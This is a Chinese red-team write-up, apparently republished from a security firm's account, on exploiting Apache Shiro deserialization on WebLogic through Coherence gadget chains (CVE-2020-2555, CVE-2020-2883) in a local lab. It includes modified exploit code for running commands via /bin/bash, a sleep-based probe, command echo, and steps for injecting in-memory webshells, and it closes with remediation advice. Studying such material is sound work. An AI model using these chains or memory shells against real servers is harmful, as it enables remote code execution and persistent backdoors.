记一次weblogic下的shiro反序列化漏洞利用

admin 2024年10月21日23:45:01评论16 views字数 4707阅读15分41秒阅读模式

 

写在前边

笔者近期在实战中碰到一个shiro有key无链的情况,原以为是工具带的链不够,又手动生成的许多poc,没成功。在各种测试后,发现项目是部署在weblogic下的,后面在网上搜到几篇文章阅读学习后发现确实会有区别。自行尝试后在本地部署的环境没成功(后面想想应该是coherence.jar的版本问题),最后对项目的代码加以改动才利用成功。

在这里跟大家简单分享一下复现过程。当然,正所谓站在巨人们的肩膀上,能成功离不开各位师傅的无私分享,写过的内容笔者在这里就不再写了一遍了,参考文章链接放在了本文末尾,大家感兴趣可以自行参考。

记一次weblogic下的shiro反序列化漏洞利用
一、前期准备

记一次weblogic下的shiro反序列化漏洞利用
1.1 前提条件

1.目标weblogic的版本,当然可以fuzz。

2.存在Weblogic的Coherence组件反序列化漏洞:CVE-2020-2555、CVE_2020_2883、CVE-2020-14756、CVE-2021-2135等等。

1.2 环境搭建

为了大家可以尝试,采用本地搭建环境来复现一遍。

1.2.1 环境启动

使用dokcer进行weblogic部署,这里使用vulhub中weblogic的CVE-2023-21839。

cd vulhub/weblogic/CVE-2023-21839docker-compose up -d

记一次weblogic下的shiro反序列化漏洞利用

因为启动环境后的账号密码是随机的,进到docker容器把控制台密码解密后登录。

console账号密码获取参考:https://www.freebuf.com/articles/web/220147.html

*左右滑动查看更多

1.2.2 环境部署

shiro的demo地址:

https://github.com/backlion/demo/blob/master/samples-web-1.2.4.war

*左右滑动查看更多

登录后部署项目。

记一次weblogic下的shiro反序列化漏洞利用

上传war文件。

记一次weblogic下的shiro反序列化漏洞利用

上传完成之后就一直下一步到底,点击完成。

记一次weblogic下的shiro反序列化漏洞利用

需要在控制中修改启动的选项,为所有请求提供服务,再点击启动就可以访问了。

记一次weblogic下的shiro反序列化漏洞利用

访问测试一下没问题。

记一次weblogic下的shiro反序列化漏洞利用
记一次weblogic下的shiro反序列化漏洞利用
二、项目用法

记一次weblogic下的shiro反序列化漏洞利用
2.1 项目导入

这里对feihong师傅的项目进行浅析一下,这里建议大家先把项目代码过一遍,有自己的理解后再看后面的部分。

项目网址:https://github.com/feihong-cs/Attacking_Shiro_with_CVE_2020_2555

*左右滑动查看更多

记一次weblogic下的shiro反序列化漏洞利用

下载完项目后等pom.xml解析好依赖后(有报错的可能是网络问题),再将各个依赖手动导入一下(Add as Library),不然有些代码会报错。

记一次weblogic下的shiro反序列化漏洞利用
2.2 替换coherence.jar版本

由于目标环境的weblogic版本是12.2.1.3,但是当前项目依赖中的coherence.jar的版本是12.1.3.0.0。

java -jar coherence.jar -version

记一次weblogic下的shiro反序列化漏洞利用

只需要将docker中的coherence.jar移植到此项目中即可。

记一次weblogic下的shiro反序列化漏洞利用

记一次weblogic下的shiro反序列化漏洞利用
三、改造

记一次weblogic下的shiro反序列化漏洞利用
3.1 命令执行

3.1.1 适配linux

这里写好的BasicCMDpayload类是根据CVE_2020_2555写的,并且执行语句是windows的,需要修改为linux执行命令语句,将cmd替换成/bin/bash。

 // 修改前        ReflectionExtractor extractor3 = new ReflectionExtractor(                "exec",                new Object[]{new String[]{"cmd", "/c", cmd}}        );// 修改后        ReflectionExtractor extractor3 = new ReflectionExtractor(                "exec",                new Object[]{new String[]{"/bin/bash", "-c", cmd}}        );      

*左右滑动查看更多

记一次weblogic下的shiro反序列化漏洞利用

3.1.2 支持CVE_2020_2883

再将payload包中的BasicCMDpayload.java修改为

支持CVE_2020_2883的

BasicCMDpayload_2883.java,

根据观察对比testcase包中的

TestScriptEngineWithCVE_2020_2555.java与

TestScriptEnginelWithCVE_2020_2883.java,前半段没修改。

记一次weblogic下的shiro反序列化漏洞利用

后半段代码都是各自的调用关系。

记一次weblogic下的shiro反序列化漏洞利用

TestFileOutputStreamWithCVE_2020_2883.java与TestScriptEnginelWithCVE_2020_2883.java,不同功能代码也仅仅是调用类和变量不同。

记一次weblogic下的shiro反序列化漏洞利用

那就根据这种规律直接将BasicCMDpayload.java中的内容copy到新建的BasicCMDpayload_2883.java中,然后一步步修改后半段的对应关系,将结尾修改为return语句。

// 修改前//序列化byte[] bytes = Util.serialize(queue);//反序列化Util.deserialize(bytes);// 修改后//序列化        return Util.serialize(queue);

*左右滑动查看更多

将JavaScript脚本解析引擎ScriptEngineManager修改为可以执行命令的Runtime。

//修改前queueArray[0] = ScriptEngineManager.class;//修改后queueArray[0] = Runtime.class;

*左右滑动查看更多

3.1.3 生成cookie值

在主函数那边添加一条case的代码,以便能调用成功,运行生成cookie的值。

记一次weblogic下的shiro反序列化漏洞利用

发送数据包。

记一次weblogic下的shiro反序列化漏洞利用

进入docker查看,命令执行成功。

记一次weblogic下的shiro反序列化漏洞利用
3.2 延迟

当目标不出网可以通过延迟效果,判断是否存在漏洞,也可以检测是否存在对应的漏洞或者coherence.jar版本是否正确。

同理只是将ScriptEnginePayload.java按照CVE_2020_2883利用代码再修改成ScriptEnginePayload_2883.java类,这里只说关键的地方。根据ScriptEnginePayload.java中的代码逻辑。通过JavaScript脚本解析引擎实现了任意代码执行,那就将执行代码的地方替换成sleep语句。

// 修改前        ReflectionExtractor extractor4 = new ReflectionExtractor(                "eval",                new Object[]{code}        );// 修改后        ReflectionExtractor extractor4 = new ReflectionExtractor(                "eval",                new Object[]{"java.lang.Thread.sleep(5000);"}        );

*左右滑动查看更多

同理再写一条case,生成cookie的值。

记一次weblogic下的shiro反序列化漏洞利用

发送数据包,成功延迟了。

记一次weblogic下的shiro反序列化漏洞利用

既然可以任意执行java代码,那就可以做更多的事情:命令执行、回显、内存马等等。

3.3 命令执行回显

本身已经修改好的ScriptEnginePayload_2883.java类,将原本的sleep语句注释还原即可。

// 修改前        ReflectionExtractor extractor4 = new ReflectionExtractor(                "eval",                new Object[]{"java.lang.Thread.sleep(5000);"}//                new Object[]{code}        );        // 修改后        ReflectionExtractor extractor4 = new ReflectionExtractor(                "eval",//                new Object[]{"java.lang.Thread.sleep(5000);"}                new Object[]{code}        );

*左右滑动查看更多

运行生成cookie。

记一次weblogic下的shiro反序列化漏洞利用

成功回显。

记一次weblogic下的shiro反序列化漏洞利用

3.4 内存马

3.4.1 cmd小马

直接用项目中的内存马是可以成功的,由于打的内存马是两种:cmd小马和冰蝎马(需要魔改),使用ScriptEnginePayload_2883去加载WeblogicMemshellLoader类。

记一次weblogic下的shiro反序列化漏洞利用

在target文件中找到编译后的WeblogicMemshellTemplate.class进行base64编码,放到请求包的body里。

记一次weblogic下的shiro反序列化漏洞利用

进行url编码。

记一次weblogic下的shiro反序列化漏洞利用

发现小马可以使用。

记一次weblogic下的shiro反序列化漏洞利用

由于此项目默认打入的是魔改冰蝎的内存马,所以正常的冰蝎无法直接连接,但是可以修改代码打入其他可以连接的内存马。

3.4.2 获取注入filter的代码

这里使用jMG java 内存马生成工具,生成一个内存马。

网址链接:https://mp.weixin.qq.com/s/oAiGWY9ABhn2o148snA_sg

*左右滑动查看更多

记一次weblogic下的shiro反序列化漏洞利用

把SOAPUtils.class放入到idea中,获取base64加密后的数据。

记一次weblogic下的shiro反序列化漏洞利用

根据代码里发现,这一串数据需要先base64解密,然后再zip解压缩。

记一次weblogic下的shiro反序列化漏洞利用

进行base64解密。

记一次weblogic下的shiro反序列化漏洞利用

解压后重命名。

记一次weblogic下的shiro反序列化漏洞利用

就获得了内存马的代码。

记一次weblogic下的shiro反序列化漏洞利用

一会需要使用woodmem.class进行base64编码后结果。

记一次weblogic下的shiro反序列化漏洞利用

3.4.3 修改代码打入内存马

将WeblogicMemshellTemplate.java复制成一份WeblogicMemshellTemplate2.java,修改三处地方。

内存马的类名(内存马生成器中可以看到)woodmem.class进行base64编码后的结果
记一次weblogic下的shiro反序列化漏洞利用

修改WeblogicMemshellLoader.java中的调用类为刚刚生成的WeblogicMemshellTemplate2.java的类名。

记一次weblogic下的shiro反序列化漏洞利用

生成cookie值。

记一次weblogic下的shiro反序列化漏洞利用

到编译好的target目录去把WeblogicMemshellTemplate2.class进行base64编码,后赋值给body中的code参数。

记一次weblogic下的shiro反序列化漏洞利用

对code的值url编码后发送。

记一次weblogic下的shiro反序列化漏洞利用

成功连接冰蝎马。

记一次weblogic下的shiro反序列化漏洞利用
记一次weblogic下的shiro反序列化漏洞利用
四、修复建议

记一次weblogic下的shiro反序列化漏洞利用

1、及时更新补丁:weblogic不断推出新的安全补丁,建议管理员及时升级以确保系统的安全性。

2、建议及时升级shiro版本,无法升级版本需要修改shiro的默认key。

3、建议管理员将用户权限设置为最低限度,避免普通用户对系统进行恶意操作。

4、建议部署防火墙、入侵检测和反病毒软件等安全设备,减少网络攻击的风险。

5、建议定期进行安全审计,以及时发现和排除系统漏洞。

6、开启访问控制,配置访问控制列表(ACLs)限制外部IP访问,仅允许受信任的IP地址访问网络。

7、经常备份关键数据,并将备份文件存放在一个安全的位置,以防意外损失或攻击。

记一次weblogic下的shiro反序列化漏洞利用
五、其他补充

记一次weblogic下的shiro反序列化漏洞利用

本项目修改后代码放这里:

https://github.com/xi3w3n/Attacking_Shiro_With_Weblogic

*左右滑动查看更多

改进空间

项目只是简单的改进利用一下,但是还有很多地方可以继续进行改进完善的:

  • 添加CVE-2020-14756、CVE-2021-2135利用代码
  • 操作系统识别后命令执行
  • Coherence多版本兼容
  • ……

参考链接及推荐阅读

https://github.com/feihong-cs/Attacking_Shiro_with_CVE_2020_2555https://mp.weixin.qq.com/s/GckEFXWYcIiZZ1-BKwB6yAhttps://xz.aliyun.com/t/8202https://xz.aliyun.com/t/9343

*左右滑动查看更多

 

原文始发于微信公众号(安恒信息安全服务):九维团队-红队(突破)| 记一次weblogic下的shiro反序列化漏洞利用

 

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月21日23:45:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次weblogic下的shiro反序列化漏洞利用https://cn-sec.com/archives/1920334.html

发表评论

匿名网友 填写信息